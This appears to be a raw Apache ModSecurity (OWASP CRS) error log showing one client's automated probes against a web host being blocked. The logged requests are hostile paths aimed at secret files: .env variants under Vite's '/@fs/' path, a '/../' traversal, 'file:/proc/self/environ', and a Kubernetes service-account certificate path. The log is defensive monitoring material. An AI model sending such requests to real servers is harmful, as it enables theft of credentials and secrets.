[Sun Oct 25 10:21:33.155136 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcQAAABg"]
[Sun Oct 25 10:21:33.155660 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcQAAABg"]
[Sun Oct 25 10:21:33.155886 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbaGxe7V6jzF5H8VNcQAAABg"]
[Sun Oct 25 10:21:33.177388 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XAAAABI"]
[Sun Oct 25 10:21:33.177968 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XAAAABI"]
[Sun Oct 25 10:21:33.178294 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.production"] [unique_id "at4QbRus_mjnPB8X3pG-XAAAABI"]
[Sun Oct 25 10:21:33.206834 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZAAAABE"]
[Sun Oct 25 10:21:33.207382 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZAAAABE"]
[Sun Oct 25 10:21:33.207728 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZAAAABE"]
[Sun Oct 25 10:21:33.211612 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNgAAAAA"]
[Sun Oct 25 10:21:33.212240 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNgAAAAA"]
[Sun Oct 25 10:21:33.212778 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNgAAAAA"]
[Sun Oct 25 10:21:33.224209 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkQAAAAM"]
[Sun Oct 25 10:21:33.224310 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkQAAAAM"]
[Sun Oct 25 10:21:33.224815 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkQAAAAM"]
[Sun Oct 25 10:21:33.225081 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkQAAAAM"]
[Sun Oct 25 10:21:33.321791 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOgAAABM"]
[Sun Oct 25 10:21:33.321858 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbbAXYX-KZxBobEnRPQAAAAI"]
[Sun Oct 25 10:21:33.322324 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbbAXYX-KZxBobEnRPQAAAAI"]
[Sun Oct 25 10:21:33.322326 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOgAAABM"]
[Sun Oct 25 10:21:33.322600 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at4QbbAXYX-KZxBobEnRPQAAAAI"]
[Sun Oct 25 10:21:33.322641 2026] [security2:error] [pid 2815605:tid 2815605] [client 35.204.239.58:42582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4QbQYPMfHr0EMMDlnoOgAAABM"]
[Sun Oct 25 10:21:33.326324 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:filename. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:filename: file:/proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4QbfWU2HQBncZeY47FKAAAAAQ"]
[Sun Oct 25 10:21:33.326856 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4QbfWU2HQBncZeY47FKAAAAAQ"]
[Sun Oct 25 10:21:33.327067 2026] [security2:error] [pid 2826774:tid 2826774] [client 35.204.239.58:49780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/__vite_rsc_findSourceMapURL"] [unique_id "at4QbfWU2HQBncZeY47FKAAAAAQ"]
[Sun Oct 25 10:21:33.346895 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"] [unique_id "at4QbfrIyYTZs3Zw4AltgwAAAAE"]
[Sun Oct 25 10:21:33.346923 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/var/run/secrets/kubernetes.io/serviceaccount/ca.crt"] [unique_id "at4QbfrIyYTZs3Zw4AltgwAAAAE"]
[Sun Oct 25 10:21:33.347293 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkgAAAAM"]
[Sun Oct 25 10:21:33.347855 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkgAAAAM"]
[Sun Oct 25 10:21:33.348144 2026] [security2:error] [pid 2821699:tid 2821699] [client 35.204.239.58:42498] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbZBSQk9YSmLuOvuRkgAAAAM"]
[Sun Oct 25 10:21:33.349008 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZQAAABE"]
[Sun Oct 25 10:21:33.349357 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZQAAABE"]
[Sun Oct 25 10:21:33.349626 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4QbUsgp-xlBP1GcWOSZQAAABE"]
[Sun Oct 25 10:21:33.354002 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNwAAAAA"]
[Sun Oct 25 10:21:33.354307 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNwAAAAA"]
[Sun Oct 25 10:21:33.354545 2026] [security2:error] [pid 2847138:tid 2847138] [client 35.204.239.58:42568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbaZ77hUnuhW6b3ZPNwAAAAA"]
[Sun Oct 25 10:21:33.365526 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZgAAAAw"]
[Sun Oct 25 10:21:33.365947 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZgAAAAw"]
[Sun Oct 25 10:21:33.366223 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4QbQ-YVEbWS5meiuhlZgAAAAw"]
